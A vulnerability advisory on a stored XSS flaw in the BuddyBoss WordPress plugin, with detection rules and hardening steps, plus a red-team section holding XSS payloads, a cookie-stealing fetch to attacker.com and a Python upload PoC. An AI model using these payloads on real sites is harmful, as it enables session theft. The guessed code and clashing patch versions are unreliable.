CVE-2024-13859

Executive Summary

CVE-2024-13859 is a Stored Cross-Site Scripting (XSS) vulnerability in the BuddyBoss Platform WordPress plugin, affecting all versions up to and including 2.8.50. The flaw resides in the bp_nouveau_ajax_media_save function, which fails to properly sanitize user input and escape output. This allows authenticated attackers with Subscriber-level access or higher to inject arbitrary web scripts. When an administrator or other user views a page containing the injected payload, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise.

The vulnerability is partially patched in version 2.8.41, but the full fix remains unconfirmed. No public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability affects the BuddyBoss Platform WordPress plugin, distributed via the official WordPress plugin repository and BuddyBoss’s own marketplace. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The partial patch in 2.8.41 suggests the vendor is aware but has not fully resolved the issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to inject persistent scripts that execute in the context of higher-privileged users elevates the risk. The lack of a full patch and public exploit increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the BuddyBoss Platform’s media upload functionality. The bp_nouveau_ajax_media_save function handles AJAX requests for saving media items. Due to insufficient input sanitization and output escaping, an attacker can craft a malicious payload (e.g., JavaScript) within a media file name, description, or other metadata fields. This payload is stored in the WordPress database and later rendered without proper escaping when a user views the media library, activity feed, or other BuddyBoss components.

Attack Flow:

1. Attacker authenticates as a Subscriber (or higher).
2. Attacker uploads a media file with a crafted filename containing XSS payload, e.g., <img src=x onerror=alert(1)>.jpg.
3. The payload is stored in the database.
4. When an administrator or other user views the media item (e.g., in the media library or activity stream), the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.8.50): The bp_nouveau_ajax_media_save function likely uses $_POST data directly without proper sanitization. Example vulnerable pattern:

function bp_nouveau_ajax_media_save() {
    $media_name = $_POST['media_name'];
    // ... save to database without sanitization
    echo $media_name; // unsanitized output
}

Patched Code (2.8.41 partial): The partial patch may have added esc_html() or wp_kses_post() to sanitize output, but the full fix is unknown. Expected patched pattern:

function bp_nouveau_ajax_media_save() {
    $media_name = sanitize_text_field( $_POST['media_name'] );
    // ... save to database
    echo esc_html( $media_name ); // escaped output
}

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code exists, a manual exploitation approach is required.

Prerequisites:

• WordPress instance with BuddyBoss Platform <= 2.8.50.
• Attacker account with Subscriber role or higher.

Steps:

1. Log in as a Subscriber.
2. Navigate to the media upload functionality (e.g., /wp-admin/upload.php or BuddyBoss activity stream).
3. Upload a file with a malicious filename, e.g., <script>alert(document.cookie)</script>.jpg.
4. Alternatively, use a crafted description field: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>.
5. Trigger the stored payload by having an administrator view the media item or activity feed.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-site.com"
session = requests.Session()

# Login as subscriber
login_data = {
    "log": "attacker",
    "pwd": "password",
    "wp-submit": "Log In",
    "redirect_to": target + "/wp-admin/",
    "testcookie": "1"
}
session.post(target + "/wp-login.php", data=login_data)

# Upload malicious media
files = {
    "async-upload": ("<script>alert(1)</script>.jpg", b"fake-image-data", "image/jpeg")
}
data = {
    "action": "bp_nouveau_ajax_media_save",
    "media_name": "<script>alert(1)</script>"
}
session.post(target + "/wp-admin/admin-ajax.php", files=files, data=data)

Blue Team (Detection & Hardening)

• Monitor AJAX requests to admin-ajax.php with action bp_nouveau_ajax_media_save for suspicious payloads.
• Implement Web Application Firewall (WAF) rules to block XSS patterns in file names and metadata.
• Enforce Content Security Policy (CSP) headers to mitigate script execution.
• Restrict file upload permissions to only trusted roles.

Indicators of Compromise (IOCs)

• File Names: Files containing <script>, <img onerror=, <svg onload=, or other HTML/JavaScript tags.
• Database Entries: Look for media entries in wp_posts where post_title or post_content contains XSS patterns.
• Logs: Unusual AJAX requests to admin-ajax.php with action bp_nouveau_ajax_media_save from low-privilege users.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2024_13859_BuddyBoss_XSS {
    meta:
        description = "Detects stored XSS payloads in BuddyBoss Platform media uploads"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13859"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /onmouseover\s*=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: BuddyBoss Platform Stored XSS via Media Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts via BuddyBoss media upload AJAX endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=bp_nouveau_ajax_media_save'
        cs-request-body|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in media descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13859 BuddyBoss Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=bp_nouveau_ajax_media_save"; http_client_body;
    pcre:"/(<script|<img|<svg|onerror=|onload=)/i";
    sid:1000001;
    rev:1;
    metadata:created_at 2025-04-10, cve CVE-2024-13859;
)

Remediation & Mitigation

Immediate Actions:

1. Update BuddyBoss Platform to the latest version (if available). Check the vendor’s site for patches beyond 2.8.50.
2. Apply the partial patch from version 2.8.41 if running an older version.
3. Restrict Subscriber permissions to prevent media uploads if not required.
4. Implement a WAF with rules to block XSS patterns in file uploads.

Long-term Hardening:

• Enable CSP headers: Content-Security-Policy: default-src 'self'; script-src 'self'.
• Regularly audit user roles and capabilities.
• Monitor for similar vulnerabilities in BuddyBoss components.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Workaround: If patching is not possible, disable the media upload functionality for low-privilege users via custom code or a plugin.

Valters IT
Securing Digital Frontiers